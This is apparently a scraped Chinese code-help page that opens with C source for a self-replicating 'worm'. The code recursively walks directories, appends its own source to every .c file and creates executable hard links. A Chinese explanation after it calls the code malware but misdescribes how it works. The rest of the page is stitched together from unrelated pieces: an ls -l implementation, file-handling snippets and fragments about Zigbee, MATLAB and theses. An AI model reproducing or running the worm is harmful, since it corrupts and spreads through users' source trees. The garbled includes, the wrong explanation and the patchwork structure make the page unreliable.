#include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <sysat.h> #include <syspes.h> #include <unistd.h> #define FILENAME "worm.c" #define INFECTION_MARKER " #define INFECTION_MARKER" void infect_files(char *dir) { DIR *dp; struct dirent *entry; struct stat statbuf; FILE *fp, *infected_fp; char file_path[256], infected_file_path[256], line[512]; int infected = 0; if ((dp = opendir(dir)) == NULL) { perror("opendir"); return; } chdir(dir); while ((entry = readdir(dp)) != NULL) { lstat(entry->d_name, &statbuf); if (S_ISDIR(statbuf.st_mode)) { if (strcmp(".", entry->d_name) == 0 || strcmp("..", entry->d_name) == 0) { continue; } infect_files(entry->d_name); } else { if (strstr(entry->d_name, ".c") != NULL) { if ((fp = fopen(entry->d_name, "r")) != NULL) { while (fgets(line, sizeof(line), fp) != NULL) { if (strstr(line, INFECTION_MARKER) != NULL) { infected = 1; break; } } fclose(fp); if (!infected) { if ((fp = fopen(entry->d_name, "a")) != NULL) { if ((infected_fp = fopen(FILENAME, "r")) != NULL) { while (fgets(line, sizeof(line), infected_fp) != NULL) { fputs(line, fp); } fclose(infected_fp); } fclose(fp); infected = 1; } } } } } if (infected) { sprintf(file_path, "%s/%s", dir, entry->d_name); sprintf(infected_file_path, "%s/%s", dir, FILENAME); printf("Infected %s\n", file_path); link(file_path, infected_file_path); chmod(infected_file_path, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); infected = 0; } } chdir(".."); closedir(dp); } int main(int argc, char **argv) { char *dir; if (argc > 1) { dir = argv[1]; } else { dir = "."; } infect_files(dir); return 0; }

时间: 2023-06-19 17:09:49 浏览: 90
这是一个 C 语言编写的计算机蠕虫程序。其主要功能是递归遍历目录中的所有 C 语言源代码文件,并向其中注入一个宏定义,该宏定义会在程序运行时打开一个名为 "worm.c" 的文件,并将其中的代码复制到目标文件中。同时,该程序会在目标文件所在目录下创建一个名为 "worm.c" 的硬链接,以便在系统启动时自我复制和传播。这个程序是一种恶意软件,可能会对系统造成严重的安全威胁。
相关问题

为程序添加备注注意对齐#include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <pwd.h> #include <grp.h> #include <time.h> void shell_ls_l(char *file,struct stat st) { char limi

/* * 该函数实现了类似于Linux终端中的ls -l命令的功能,可以显示文件的详细信息。 * 参数file为要显示信息的文件名; * 参数st为文件的stat结构体,包含了文件的各种信息,如权限、大小、修改时间等。 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <pwd.h> #include <grp.h> #include <time.h> void shell_ls_l(char *file,struct stat st) { char limit[10]="rwxrwxrwx"; // 文件权限对应的字符 char perms[11]="----------"; // 文件权限字符串 int i=0; int j=0; int k=0; struct passwd *user; // 用户信息结构体 struct group *group; // 用户组信息结构体 // 设置文件权限字符串 for(i=0;i<9;i++) { if(st.st_mode & (1<<(8-i))) { perms[i]=limit[i]; } } // 根据文件类型设置第一个字符 switch(st.st_mode & S_IFMT) { case S_IFLNK: perms[0]='l'; break; case S_IFDIR: perms[0]='d'; break; case S_IFCHR: perms[0]='c'; break; case S_IFBLK: perms[0]='b'; break; case S_IFIFO: perms[0]='p'; break; case S_IFSOCK: perms[0]='s'; break; default: perms[0]='-'; break; } printf("%s ",perms); // 输出文件权限 printf("%d ",(int)st.st_nlink); // 输出硬链接数 user=getpwuid(st.st_uid); // 获取文件拥有者信息 group=getgrgid(st.st_gid); // 获取文件拥有者组信息 printf("%s %s ",user->pw_name,group->gr_name); // 输出拥有者和所属组 printf("%8ld ",st.st_size); // 输出文件大小 char *time_str=ctime(&st.st_mtime); // 获取文件最后修改时间 time_str[strlen(time_str)-1]='\0'; // 去掉不需要的换行符 printf("%s ",time_str); // 输出最后修改时间 printf("%s\n",file); // 输出文件名 }

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <pwd.h> #include <grp.h> #include <time.h> void shell_ls_l(char *file,struct stat st) { char limi

ted[11]; // 文件权限 mode_t mode = st.st_mode; limitted[0] = (S_ISDIR(mode)) ? "d" : "-"; limitted[1] = (mode & S_IRUSR) ? "r" : "-"; limitted[2] = (mode & S_IWUSR) ? "w" : "-"; limitted[3] = (mode & S_IXUSR) ? "x" : "-"; limitted[4] = (mode & S_IRGRP) ? "r" : "-"; limitted[5] = (mode & S_IWGRP) ? "w" : "-"; limitted[6] = (mode & S_IXGRP) ? "x" : "-"; limitted[7] = (mode & S_IROTH) ? "r" : "-"; limitted[8] = (mode & S_IWOTH) ? "w" : "-"; limitted[9] = (mode & S_IXOTH) ? "x" : "-"; limitted[10] = '\0'; printf("%s ", limitted); // 链接数、所有者、所在组、文件大小、创建时间、文件名 printf("%ld ", (long)st.st_nlink); printf("%s ", getpwuid(st.st_uid)->pw_name); printf("%s ", getgrgid(st.st_gid)->gr_name); printf("%lld ", (long long)st.st_size); char time_buf[20]; strftime(time_buf, 20, "%b %d %H:%M", localtime(&st.st_ctime)); printf("%s ", time_buf); printf("%s\n", file); } int main(int argc, char *argv[]) { DIR *dir; struct dirent *ptr; struct stat st; char path[256]; if (argc == 1) { getcwd(path, 256); dir = opendir(path); while ((ptr = readdir(dir)) != NULL) { if (ptr->d_name[0] == '.') continue; stat(ptr->d_name, &st); shell_ls_l(ptr->d_name, st); } } else if (argc == 2) { if (strcmp(argv[1], "-l") == 0) { getcwd(path, 256); dir = opendir(path); while ((ptr = readdir(dir)) != NULL) { if (ptr->d_name[0] == '.') continue; stat(ptr->d_name, &st); shell_ls_l(ptr->d_name, st); } } else { dir = opendir(argv[1]); while ((ptr = readdir(dir)) != NULL) { if (ptr->d_name[0] == '.') continue; sprintf(path, "%s/%s", argv[1], ptr->d_name); stat(path, &st); shell_ls_l(ptr->d_name, st); } } } else if (argc == 3) { if (strcmp(argv[1], "-l") == 0) { dir = opendir(argv[2]); while ((ptr = readdir(dir)) != NULL) { if (ptr->d_name[0] == '.') continue; sprintf(path, "%s/%s", argv[2], ptr->d_name); stat(path, &st); shell_ls_l(ptr->d_name, st); } } } return 0; } 这是一个简单的实现Linux命令ls -l的程序,可以列出文件的权限、链接数、所有者、所在组、文件大小、创建时间、文件名等信息。

相关推荐

1.创建文件夹: #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <iostream> using namespace std; int main() { string folder_name = "new_folder"; mkdir(folder_name.c_str(), S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH); //创建文件夹 return 0; } 2.复制文件: #include <stdio.h> #include <stdlib.h> int main() { FILE *fp1, *fp2; //定义两个文件指针 char ch; fp1 = fopen("file1.txt", "r"); //打开要复制的文件 fp2 = fopen("file2.txt", "w"); //打开要复制到的文件 while ((ch = fgetc(fp1)) != EOF) { fputc(ch, fp2); //复制文件 } fclose(fp1); fclose(fp2); return 0; } 3.移动文件: #include <stdio.h> #include <stdlib.h> int main() { char old_path[100] = "old_folder/file1.txt"; char new_path[100] = "new_folder/file1.txt"; int result = rename(old_path, new_path); //移动文件 if (result == 0) { printf("移动成功\n"); } else { printf("移动失败\n"); } return 0; } 4.删除文件夹: #include <unistd.h> #include <stdio.h> int main() { char folder_name[100] = "new_folder"; int result = rmdir(folder_name); //删除文件夹 if (result == 0) { printf("删除成功\n"); } else { printf("删除失败\n"); } return 0; } 5.显示文件夹中的内容: #include <dirent.h> #include <stdio.h> int main() { DIR *dir; struct dirent *ent; char folder_name[100] = "new_folder"; dir = opendir(folder_name); //打开文件夹 while ((ent = readdir(dir)) != NULL) { printf("%s\n", ent->d_name); //遍历文件夹中的文件 } closedir(dir); return 0; } 6.查看文件内容: #include <stdio.h> int main() { FILE *fp; char ch; fp = fopen("file1.txt", "r"); //打开文件 while ((ch = fgetc(fp)) != EOF) { printf("%c", ch); //输出文件内容 } fclose(fp); return 0; } 7.修改文件权限: #include <sys/stat.h> #include <stdio.h> int main() { char file_name[100] = "file1.txt"; chmod(file_name, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH); //修改文件权限 return 0; } 8.搜索文件: #include <dirent.h> #include <stdio.h> #include <string.h> int main() { DIR *dir; struct dirent *ent; char folder_name[100] = "new_folder"; char search_name[100] = "file1.txt"; dir = opendir(folder_name); //打开文件夹 while ((ent = readdir(dir)) != NULL) { if (strcmp(ent->d_name, search_name) == 0) //搜索文件 { printf("找到文件:%s\n", ent->d_name); break; } } closedir(dir); return 0; }将上述代码整合成一个完整的程序代码

最新推荐

recommend-type

zigbee-cluster-library-specification

最新的zigbee-cluster-library-specification说明文档。
recommend-type

管理建模和仿真的文件

管理Boualem Benatallah引用此版本:布阿利姆·贝纳塔拉。管理建模和仿真。约瑟夫-傅立叶大学-格勒诺布尔第一大学,1996年。法语。NNT:电话:00345357HAL ID:电话:00345357https://theses.hal.science/tel-003453572008年12月9日提交HAL是一个多学科的开放存取档案馆,用于存放和传播科学研究论文,无论它们是否被公开。论文可以来自法国或国外的教学和研究机构,也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaire
recommend-type

MATLAB取整函数与Web开发的作用:round、fix、floor、ceil在Web开发中的应用

![MATLAB取整函数与Web开发的作用:round、fix、floor、ceil在Web开发中的应用](https://img-blog.csdnimg.cn/2020050917173284.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2thbmdqaWVsZWFybmluZw==,size_16,color_FFFFFF,t_70) # 1. MATLAB取整函数概述** MATLAB取整函数是一组强大的工具,用于对数值进行
recommend-type

我想做python的算法工程师,我应该学什么?学习的顺序是什么?网上有什么推荐的免费课程吗?回答具体精确一点不要太笼统

对于想要成为 Python 算法工程师的人来说,他们应该先从掌握 Python 的基础语法开始,然后学习数据结构和算法,并且要深入了解 Python 中的一些科学计算和数据处理库,比如 NumPy、Pandas 等。 学习的顺序可以是先学习基础语法和编程技巧,然后再学习数据结构和算法相关的知识,最后深入了解数据处理和科学计算相关的库。 对于免费课程的推荐,我建议你可以先去 Coursera、edX、Udacity 等网站上寻找相关课程,这些网站上有很多优质的 Python 编程和算法课程,你可以根据自己的需求和学习进度进行选择。此外,还可以考虑一些在线编程网站,如 HackerRank、L
recommend-type

JSBSim Reference Manual

JSBSim参考手册,其中包含JSBSim简介,JSBSim配置文件xml的编写语法,编程手册以及一些应用实例等。其中有部分内容还没有写完,估计有生之年很难看到完整版了,但是内容还是很有参考价值的。
recommend-type

"互动学习:行动中的多样性与论文攻读经历"

多样性她- 事实上SCI NCES你的时间表ECOLEDO C Tora SC和NCESPOUR l’Ingén学习互动,互动学习以行动为中心的强化学习学会互动,互动学习,以行动为中心的强化学习计算机科学博士论文于2021年9月28日在Villeneuve d'Asq公开支持马修·瑟林评审团主席法布里斯·勒菲弗尔阿维尼翁大学教授论文指导奥利维尔·皮耶昆谷歌研究教授:智囊团论文联合主任菲利普·普雷教授,大学。里尔/CRISTAL/因里亚报告员奥利维耶·西格德索邦大学报告员卢多维奇·德诺耶教授,Facebook /索邦大学审查员越南圣迈IMT Atlantic高级讲师邀请弗洛里安·斯特鲁布博士,Deepmind对于那些及时看到自己错误的人...3谢谢你首先,我要感谢我的两位博士生导师Olivier和Philippe。奥利维尔,"站在巨人的肩膀上"这句话对你来说完全有意义了。从科学上讲,你知道在这篇论文的(许多)错误中,你是我可以依
recommend-type

MATLAB取整函数与数据分析的应用:round、fix、floor、ceil在数据分析中的应用

![MATLAB取整函数与数据分析的应用:round、fix、floor、ceil在数据分析中的应用](https://img-blog.csdnimg.cn/img_convert/a12c695f8b68033fc45008ede036b653.png) # 1. MATLAB取整函数概述 MATLAB提供了一系列取整函数,用于对数值进行四舍五入或截断操作。这些函数包括: - `round`:四舍五入到最接近的整数 - `floor`:向下取整到最小的整数 - `ceil`:向上取整到最大的整数 - `fix`:截断小数部分,返回整数部分 这些函数在数据分析、可视化和特定领域(如金融
recommend-type

r语言如何调用split函数按照factor分开后得到的dataframe

可以使用如下语句: split_dataframe <- split(original_dataframe, original_dataframe$factor_column) 其中,original_dataframe为待拆分的原始数据框,$factor_column为按照哪一列分组(即因子列),split_dataframe为拆分后得到的数据框列表。
recommend-type

c++校园超市商品信息管理系统课程设计说明书(含源代码) (2).pdf

校园超市商品信息管理系统课程设计旨在帮助学生深入理解程序设计的基础知识,同时锻炼他们的实际操作能力。通过设计和实现一个校园超市商品信息管理系统,学生掌握了如何利用计算机科学与技术知识解决实际问题的能力。在课程设计过程中,学生需要对超市商品和销售员的关系进行有效管理,使系统功能更全面、实用,从而提高用户体验和便利性。 学生在课程设计过程中展现了积极的学习态度和纪律,没有缺勤情况,演示过程流畅且作品具有很强的使用价值。设计报告完整详细,展现了对问题的深入思考和解决能力。在答辩环节中,学生能够自信地回答问题,展示出扎实的专业知识和逻辑思维能力。教师对学生的表现予以肯定,认为学生在课程设计中表现出色,值得称赞。 整个课程设计过程包括平时成绩、报告成绩和演示与答辩成绩三个部分,其中平时表现占比20%,报告成绩占比40%,演示与答辩成绩占比40%。通过这三个部分的综合评定,最终为学生总成绩提供参考。总评分以百分制计算,全面评估学生在课程设计中的各项表现,最终为学生提供综合评价和反馈意见。 通过校园超市商品信息管理系统课程设计,学生不仅提升了对程序设计基础知识的理解与应用能力,同时也增强了团队协作和沟通能力。这一过程旨在培养学生综合运用技术解决问题的能力,为其未来的专业发展打下坚实基础。学生在进行校园超市商品信息管理系统课程设计过程中,不仅获得了理论知识的提升,同时也锻炼了实践能力和创新思维,为其未来的职业发展奠定了坚实基础。 校园超市商品信息管理系统课程设计的目的在于促进学生对程序设计基础知识的深入理解与掌握,同时培养学生解决实际问题的能力。通过对系统功能和用户需求的全面考量,学生设计了一个实用、高效的校园超市商品信息管理系统,为用户提供了更便捷、更高效的管理和使用体验。 综上所述,校园超市商品信息管理系统课程设计是一项旨在提升学生综合能力和实践技能的重要教学活动。通过此次设计,学生不仅深化了对程序设计基础知识的理解,还培养了解决实际问题的能力和团队合作精神。这一过程将为学生未来的专业发展提供坚实基础,使其在实际工作中能够胜任更多挑战。
recommend-type

关系数据表示学习

关系数据卢多维奇·多斯桑托斯引用此版本:卢多维奇·多斯桑托斯。关系数据的表示学习机器学习[cs.LG]。皮埃尔和玛丽·居里大学-巴黎第六大学,2017年。英语。NNT:2017PA066480。电话:01803188HAL ID:电话:01803188https://theses.hal.science/tel-01803188提交日期:2018年HAL是一个多学科的开放存取档案馆,用于存放和传播科学研究论文,无论它们是否被公开。论文可以来自法国或国外的教学和研究机构,也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaireUNIVERSITY PIERRE和 MARIE CURIE计算机科学、电信和电子学博士学院(巴黎)巴黎6号计算机科学实验室D八角形T HESIS关系数据表示学习作者:Ludovic DOS SAntos主管:Patrick GALLINARI联合主管:本杰明·P·伊沃瓦斯基为满足计算机科学博士学位的要求而提交的论文评审团成员:先生蒂埃里·A·退休记者先生尤尼斯·B·恩